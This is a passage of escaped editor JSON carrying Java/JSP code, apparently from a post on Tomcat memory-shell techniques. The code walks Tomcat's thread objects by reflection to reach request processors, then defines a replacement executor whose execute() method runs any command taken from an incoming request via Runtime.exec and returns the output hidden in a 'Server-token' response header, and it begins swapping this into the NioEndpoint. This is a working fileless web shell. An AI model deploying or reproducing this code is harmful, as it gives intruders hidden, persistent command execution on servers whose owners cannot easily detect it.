{&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lAP6-1659106816283&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;f8Lu-1659106816282&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cVnn-1659106816285&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wkXE-1659106816284&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), \&#34;threads\&#34;));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WM02-1659106816287&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VQRR-1659106816286&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;G39D-1659106816289&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6dlA-1659106816288&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                for (Thread thread : threads) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gBjI-1659106816292&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;O89N-1659106816291&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    if (thread != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;A6AK-1659106816294&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QQHL-1659106816293&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        String threadName = thread.getName();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;aWZB-1659106816296&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mQRc-1659106816295&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        if (!threadName.contains(\&#34;exec\&#34;) &amp;&amp; threadName.contains(\&#34;Acceptor\&#34;)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7Uch-1659106816298&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;g2Mg-1659106816297&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            Object target = getField(thread, \&#34;target\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6bPI-1659106816300&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QQQh-1659106816299&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            if (target instanceof Runnable) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GqTc-1659106816302&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zgHT-1659106816301&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;g3nj-1659106816304&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GOQu-1659106816303&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    ArrayList objects = (ArrayList) getField(getField(getField(getField(target, \&#34;this$0\&#34;), \&#34;handler\&#34;), \&#34;global\&#34;), \&#34;processors\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wYIt-1659106816306&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2mCH-1659106816305&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    for (Object tmp_object : objects) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nXdK-1659106816308&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9lVo-1659106816307&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        RequestInfo request = (RequestInfo) tmp_object;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oN7d-1659106816310&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EUrt-1659106816309&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        Response response = (Response) getField(getField(request, \&#34;req\&#34;), \&#34;response\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cYM7-1659106816312&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0ym4-1659106816311&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        response.addHeader(\&#34;Server-token\&#34;, encode(DEFAULT_SECRET_KEY,new String(res, \&#34;UTF-8\&#34;)));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vgMy-1659106816314&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fovt-1659106816313&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9sY3-1659106816316&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dK3M-1659106816315&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;14Kh-1659106816318&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RGpW-1659106816317&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                } catch (Exception var11) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GfpZ-1659106816320&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Psbo-1659106816319&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    continue;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5ef6-1659106816322&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aOPf-1659106816321&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8S4t-1659106816324&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;svzw-1659106816323&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;y3OB-1659106816326&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lDS4-1659106816325&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fXpg-1659106816328&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hbZK-1659106816327&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YffG-1659106816330&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2xqY-1659106816329&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vLLT-1659106816332&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ikgu-1659106816331&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AxIN-1659106816334&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ipz8-1659106816333&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            } catch (Exception ignored) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;N3Kx-1659106816336&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OTq4-1659106816335&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RcdP-1659106816338&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NX05-1659106816337&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;keTE-1659106816340&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RYAG-1659106816339&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CA7c-1659106816342&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YLzr-1659106816341&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5ErI-1659106816344&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FwHg-1659106816343&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        @Override&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PFcF-1659106816346&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rSfx-1659106816345&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        public void execute(Runnable command) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rjcj-1659106816349&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5EKA-1659106816347&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//            System.out.println(\&#34;123\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;aIXV-1659106816351&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;beOj-1659106816350&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Mi72-1659106816353&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;A24n-1659106816352&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            String cmd = getRequest();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GY0w-1659106816355&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nvaD-1659106816354&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if (cmd.length() &gt; 1) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;843Z-1659106816357&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YuHo-1659106816356&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;J5Mx-1659106816359&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6dik-1659106816358&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    Runtime rt = Runtime.getRuntime();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ozOP-1659106816361&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rpGN-1659106816360&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    Process process = rt.exec(cmd);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hu9W-1659106816363&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vwVy-1659106816362&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    java.io.InputStream in = process.getInputStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fnNV-1659106816365&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LNKe-1659106816364&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EPVm-1659106816367&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5lCG-1659106816366&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nepJ-1659106816369&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OLpZ-1659106816368&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;X5Ci-1659106816371&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;75OT-1659106816370&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    String s = \&#34;\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FxuU-1659106816373&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cHSB-1659106816372&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    String tmp = \&#34;\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2wjl-1659106816375&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JLOU-1659106816374&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    while ((tmp = stdInput.readLine()) != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KxlK-1659106816377&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;z8Bg-1659106816376&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        s += tmp;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;J8gm-1659106816379&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ciu8-1659106816378&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Zr3I-1659106816381&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;z0Fd-1659106816380&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    if (s != \&#34;\&#34;) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3w4F-1659106816383&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HRdw-1659106816382&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        byte[] res = s.getBytes(StandardCharsets.UTF_8);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AVoC-1659106816385&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jhKt-1659106816384&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        getResponse(res);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;poTO-1659106816387&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8WJK-1659106816386&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0zbA-1659106816389&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Kq2f-1659106816388&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OnRv-1659106816391&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;emha-1659106816390&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;64Wa-1659106816393&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2yyS-1659106816392&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } catch (IOException e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oKG0-1659106816395&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;w731-1659106816394&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TGLl-1659106816397&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;g3KQ-1659106816396&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Cbr2-1659106816399&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0Vjw-1659106816398&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SRaX-1659106816401&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HhMz-1659106816400&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ttHX-1659106816403&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RF9I-1659106816402&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xhPy-1659106816405&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vBz9-1659106816404&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.execute(command, 0L, TimeUnit.MILLISECONDS);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;csCz-1659106816407&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;T7Bu-1659106816406&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AyD6-1659106816409&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;u3H4-1659106816408&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vy8L-1659106816411&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AGLW-1659106816410&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;upDb-1659106816413&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IH8G-1659106816412&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3Tps-1659106816416&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;o7wu-1659106816414&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;%&gt;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tMJ9-1659106816418&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EndS-1659106816417&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YFlB-1659106816420&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lq5C-1659106816419&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&lt;%&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;s2PT-1659106816426&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Cx2b-1659106816425&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    NioEndpoint nioEndpoint = (NioEndpoint) getStandardService();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;13tx-1659106816428&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Fxoe-1659106816427&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    ThreadPoolExecutor exec = (ThreadPoolExecutor) getField(nioEndpoint, 